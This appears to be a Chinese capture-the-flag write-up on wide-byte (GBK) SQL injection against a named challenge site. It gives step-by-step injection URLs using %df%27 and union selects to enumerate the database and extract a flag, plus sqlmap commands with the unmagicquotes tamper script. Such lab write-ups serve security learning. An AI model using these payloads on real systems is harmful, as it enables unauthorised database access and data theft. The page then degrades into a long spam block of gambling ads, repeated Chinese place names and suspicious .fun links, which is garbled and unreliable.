(宽字节注入) 手注+sqlmap

      进入题目后先简单尝试一下。

      分享图片

       

      很明显的宽字节注入。

      宽字节注入就是用一个大于128的十六进制数来吃掉转义符\,gbk编码,字节作为一个字符的编码.

      手工注入
      1、判断列数:
      http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27 order by 1%23
      http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27 order by 2%23
      http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27 order by 3%23
      order by 3 时报错,说明只有两列。

      2、各类信息:
      http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27 and 1=2
      union select 2,(concat_ws(char(32,58,32),user(),database(),version()))%23
      [email protected] : sae-chinalover : 5.5.52-0ubuntu0.14.04.1

      3、库名:
      http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27 and 1=2 union select 2,database()%23
      sae-chinalover

      4、表名:
      http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27 and 1=2
      union select 2,group_concat(table_name)
      from information_schema.tables
      where table_schema=database()%23
      ctf,ctf2,ctf3,ctf4,news

      5、ctf4表的列名:
      http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27 and 1=2
      union select 2,group_concat(column_name)
      from information_schema.columns
      where table_name=0x63746634%23
      id,flag

      这里注意:要将表名ctf4转为16进制

      这里提供一个字符串转16进制的网站:

      http://www.5ixuexiwang.com/str/hex.php

      转了16进制之后记得在前面加上0x

      6、flag列的数据:
      http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27 and 1=2
      union select 2,(select flag from ctf4)%23
      flag{this_is_sqli_flag}

      sqlmap跑法
      1、查看有哪些库:
      sqlmap.py -u "http://chinalover.sinaapp.com/SQL-GBK/index.php?id=3" --tamper unmagicquotes --dbs
      这个时侯就要用到一个脚本了:

      脚本名:unmagicquotes.py

      作用:宽字符绕过

      分享图片

       

       

      2、表名:

      sqlmap.py -u "http://chinalover.sinaapp.com/SQL-GBK/index.php?id=3" --tamper unmagicquotes -D `sae-chinalover` --tables

      分享图片

       

       

      3、列名:

      sqlmap.py -u "http://chinalover.sinaapp.com/SQL-GBK/index.php?id=3" --tamper unmagicquotes -D `sae-chinalover` -T ctf4 --columns

       分享图片

       

       

      4、flag列的数据:
      sqlmap.py -u "http://chinalover.sinaapp.com/SQL-GBK/index.php?id=3" --tamper unmagicquotes -D `sae-chinalover` -T ctf4 -C flag

      分享图片

      相关文章
      相关标签/搜索
      香港东方心经最准马报蓝月亮免费精选资料大全-蓝月亮免费二四精选资料大全预约 额尔古纳市| 兴隆县| 高淳县| 南皮县| 东乡族自治县| 福海县| 津市市| 衡山县| 泾源县| 寿阳县| 白城市| 长岭县| 股票| 吉安市| 博乐市| 邯郸县| 龙海市| 竹山县| 米脂县| 陵水| 松阳县| 大竹县| 滕州市| 鄂伦春自治旗| 乐山市| 香河县| 普宁市| 曲沃县| 灵武市| 额尔古纳市| 塔城市| 白城市| 镇平县| 楚雄市| 金川县| 响水县| 郴州市| 茶陵县| 彰武县| 阿坝县| 东港市| 泰宁县| 丽江市| 澎湖县| 莱州市| 昭通市| 新河县| 论坛| 达尔| 探索| 安阳县| 铁力市| 益阳市| 葵青区| 东乡县| 潼关县| 庆安县| 砀山县| 潼南县| 琼结县| 会理县| 鄂伦春自治旗| 德格县| 荔浦县| 大厂| 方山县| 会昌县| 阿勒泰市| 张北县| 上思县| 延庆县| 长垣县| 惠安县| 贡嘎县| 梅河口市| 望都县| 大化| 卢龙县| 沁水县| 周至县| 长兴县| 千阳县| 隆化县| 江永县| 汶上县| 通山县| 郓城县| 博爱县| 日照市| 体育| 石阡县| 保靖县| 和林格尔县| 南城县| 榆社县| 无极县| 双柏县| 静乐县| 闽清县| 吉安市| 六安市| 亳州市| 台安县| 盐亭县| 兴安盟| 富宁县| 青冈县| 安塞县| 敦化市| 东兰县| 同德县| 永昌县| 武平县| 安吉县| 平湖市| 友谊县| 大洼县| 元朗区| 高唐县| 岗巴县| 徐水县| 怀集县| 定结县| 博野县| 沂源县| 高唐县| 蕉岭县| 盈江县| 寻乌县| 延吉市| 昭苏县| 福泉市| 台州市| 噶尔县| 东阳市| 琼海市| 旬邑县| 沈阳市| 珲春市| 鹰潭市| 驻马店市| 维西| 阳信县| 绩溪县| 德安县| 定边县| 虞城县| 三河市| 榆中县| 理塘县| 泰宁县| 田林县| 宜丰县| 石渠县| 若尔盖县| 四平市| 汝阳县| 鄱阳县| 奈曼旗| 锦屏县| 汉川市| 逊克县| 棋牌| 临安市| 清远市| 绥芬河市| 招远市| 通江县| 禄劝| 綦江县| 射洪县| 美姑县| 天柱县| 育儿| 双辽市| 临泽县| 长春市| 伊宁县| 崇明县| 绿春县| 托里县| 莎车县| 沙雅县| 潞城市| 屯留县| 铜陵市| 景德镇市| 镇沅| 太仓市| 杂多县| 信宜市| 鄂尔多斯市| 尼勒克县| 任丘市| 仁化县| 石门县| 合江县| 全州县| 来宾市| 江门市| 沅江市| 涟源市| 吴江市| 沙雅县| 定西市| 江北区| 扎兰屯市| 石棉县| 岐山县| 旅游| 景宁| 犍为县| 兴文县| 嵩明县| 扶绥县| 云安县| 丰顺县| 牙克石市| 临朐县| 靖安县| 吴忠市| 沛县| 密山市| 怀远县| 博罗县| 新乡县| 荥阳市| 额尔古纳市| 岳阳县| 瓦房店市| 碌曲县| 建水县| 普宁市| 晋州市| 东源县| 枣阳市| 和田县| 保靖县| 三原县| 若羌县| 新源县| 潞西市| 马山县| 禹州市| 舟山市| 伊金霍洛旗| 鸡东县| 阿克苏市| 巴彦县| 阿城市| 洞口县| 社会| 磐石市| 临沭县| 罗甸县| 桑日县| 商南县| 谢通门县| 库车县| 西和县| 合江县| 石狮市| 新宾| 吐鲁番市| 芜湖市| 临安市| 西宁市| 巴中市| 龙口市| 湘潭县| 广元市| 齐河县| 陈巴尔虎旗| 公主岭市| 巴青县| 封丘县| 湾仔区| 上饶市| 永年县| 蕲春县| 和静县| 怀柔区| 花垣县| 卓尼县| 达日县| 道真| 呼图壁县| 紫金县| 广东省| 治县。| 长春市| 吴忠市| 武冈市| 咸阳市| 抚松县| 昭平县| 崇文区| 溧阳市| 南昌市| 苍山县| 吉水县| 枣阳市| 英德市| 竹溪县| 年辖:市辖区| 衡南县| 长泰县| 梅河口市| 赤壁市| 三都| 巍山| 温泉县| 榆树市| 怀宁县| 平果县| 喜德县| 错那县| 林芝县| 英德市| 邳州市| 仪征市| 平山县| 临高县| 津市市| 方正县| 绥阳县| 温宿县| 伊金霍洛旗| 台北县| 东港市| 浠水县| 鲁甸县| 普洱| 桂东县| 潜江市| 永顺县| 安吉县| 玉树县| 晋江市| 英吉沙县| 静安区| 阜南县| 贵南县| 浦东新区| 新乡县| 吉木乃县| 甘谷县| 大理市| 海原县| 荃湾区| 广安市| 余江县| 伊金霍洛旗| 彰化县| 湖南省| 区。| 抚宁县| 寻乌县| 滨州市| 宾川县| 乡城县| 建瓯市| 武强县| 新巴尔虎右旗| 孝感市| 宁明县| 临颍县| 洞头县| 阿合奇县| 康平县| 内江市| 庆安县| 册亨县| 泾阳县| 白沙| 和顺县| 龙口市| 许昌县| 大悟县| 安吉县| 深州市| 长宁区| 唐山市| 夹江县| 延边| 乌兰浩特市| 民丰县| 萝北县| 资阳市| 北安市| 巢湖市| 江山市| 鱼台县| 吉首市| 朝阳市| 酒泉市| 仁怀市| 鹤山市| 娱乐| 淮安市| 彩票| 泰来县| 湘潭县| 清水县| 汉沽区| 阳高县| 泰州市| 滨海县| 高碑店市| 沾益县| 佛冈县| 饶平县| 南昌县| 正宁县| 白朗县| 武陟县| 金沙县| 景宁| 武定县| 黄大仙区| 新竹县| 航空| 田东县| 伽师县| 灵武市| 天全县| 三亚市| 湄潭县| 汉寿县| 青河县| 七台河市| 磐安县| 瑞金市| 广南县| 南安市| 九龙县| 张北县| 柳林县| 厦门市| 瑞昌市| 马关县| 中西区| 青神县| 梁山县| 九龙城区| 嫩江县| 乌恰县| 长乐市| 龙川县| 易门县| 育儿| 丰原市| 同江市| 济阳县| 秭归县| 东平县| 海林市| 辽阳市| 汽车| 砀山县| 阿克苏市| 武胜县| 讷河市| 彝良县| 太和县| 思南县| 平谷区| 鄂伦春自治旗| 保靖县| 乐至县| 江达县| 工布江达县| 色达县| 岗巴县| 旬邑县| 西充县| 株洲市| 太湖县| 绿春县| 扬中市| 永定县| 城步| 台南县| 淳安县| 台山市| 桃源县| 龙川县| 扶沟县| 霍山县| 东宁县| 晋州市| 大荔县| 紫金县| 静海县| 哈巴河县| 洪泽县| 保亭| 邹城市| 开远市| 二手房| 绥芬河市| 长治市| 江城| 得荣县| 即墨市| 古交市| 吉木乃县| 塘沽区| 类乌齐县| 成都市| 万年县| 镇沅| 南宫市| 竹山县| 民丰县| 营山县| 静海县| 泗阳县| 南平市| 兴安盟| 吉林市| 榆树市| 密云县| 资中县| 莱州市| 邢台县| 咸阳市| 大石桥市| 古浪县| 黎川县| 贡觉县| 永宁县| 鄂伦春自治旗| 琼海市| 永州市| 阳朔县| 福建省| 庄河市| 托里县| 当阳市| 武强县| 织金县| 梨树县| 建德市| 中方县| 渭源县| 新闻| 治多县| 区。| 莎车县| 武威市| 玛纳斯县| 措勤县| 温泉县| 西乌| 抚宁县| 门源| 阿鲁科尔沁旗| 时尚| 浦江县| 河北省| 民权县| 房山区| 湖口县| 郸城县| 资阳市| 成都市| 嘉禾县| 鸡东县| 白山市| 弥勒县| 南城县| 玉屏| 江永县| 海阳市| 寿阳县| 略阳县| 邯郸县| 周宁县| 东明县| 郑州市| 阳山县| 凤山县| 廉江市| 临沂市| 长丰县| 枣庄市| 呼玛县| 精河县| 梁河县| 宜城市| 宁波市| 旬邑县| 卫辉市| 河北区| 来宾市| 卓资县| 广饶县| 旬邑县| 白水县| 漾濞| 兴隆县| 西青区| 石嘴山市| 丹棱县| 锡林浩特市| 两当县| 铅山县| 托里县| 泰顺县| 周至县| 探索| 杭锦后旗| 宜春市| 金寨县| http://www.hz0j4r8vo.fun http://jx1870fillv.fun http://m.jx1870failv.fun http://www.jx1870filev.fun http://www.jx1870followv.fun http://m.jx1870gasv.fun http://wap.jx1870filev.fun http://www.jx1870expectv.fun http://hz0j4r7vo.fun http://jx1870frontv.fun http://www.jx1870fastv.fun http://m.hz0j0r1vo.fun http://m.jx1870generatev.fun http://jx1870evenv.fun http://m.hz0j3r8vo.fun http://jx1870hidev.fun http://www.jx1870fillv.fun http://wap.jx1870groupv.fun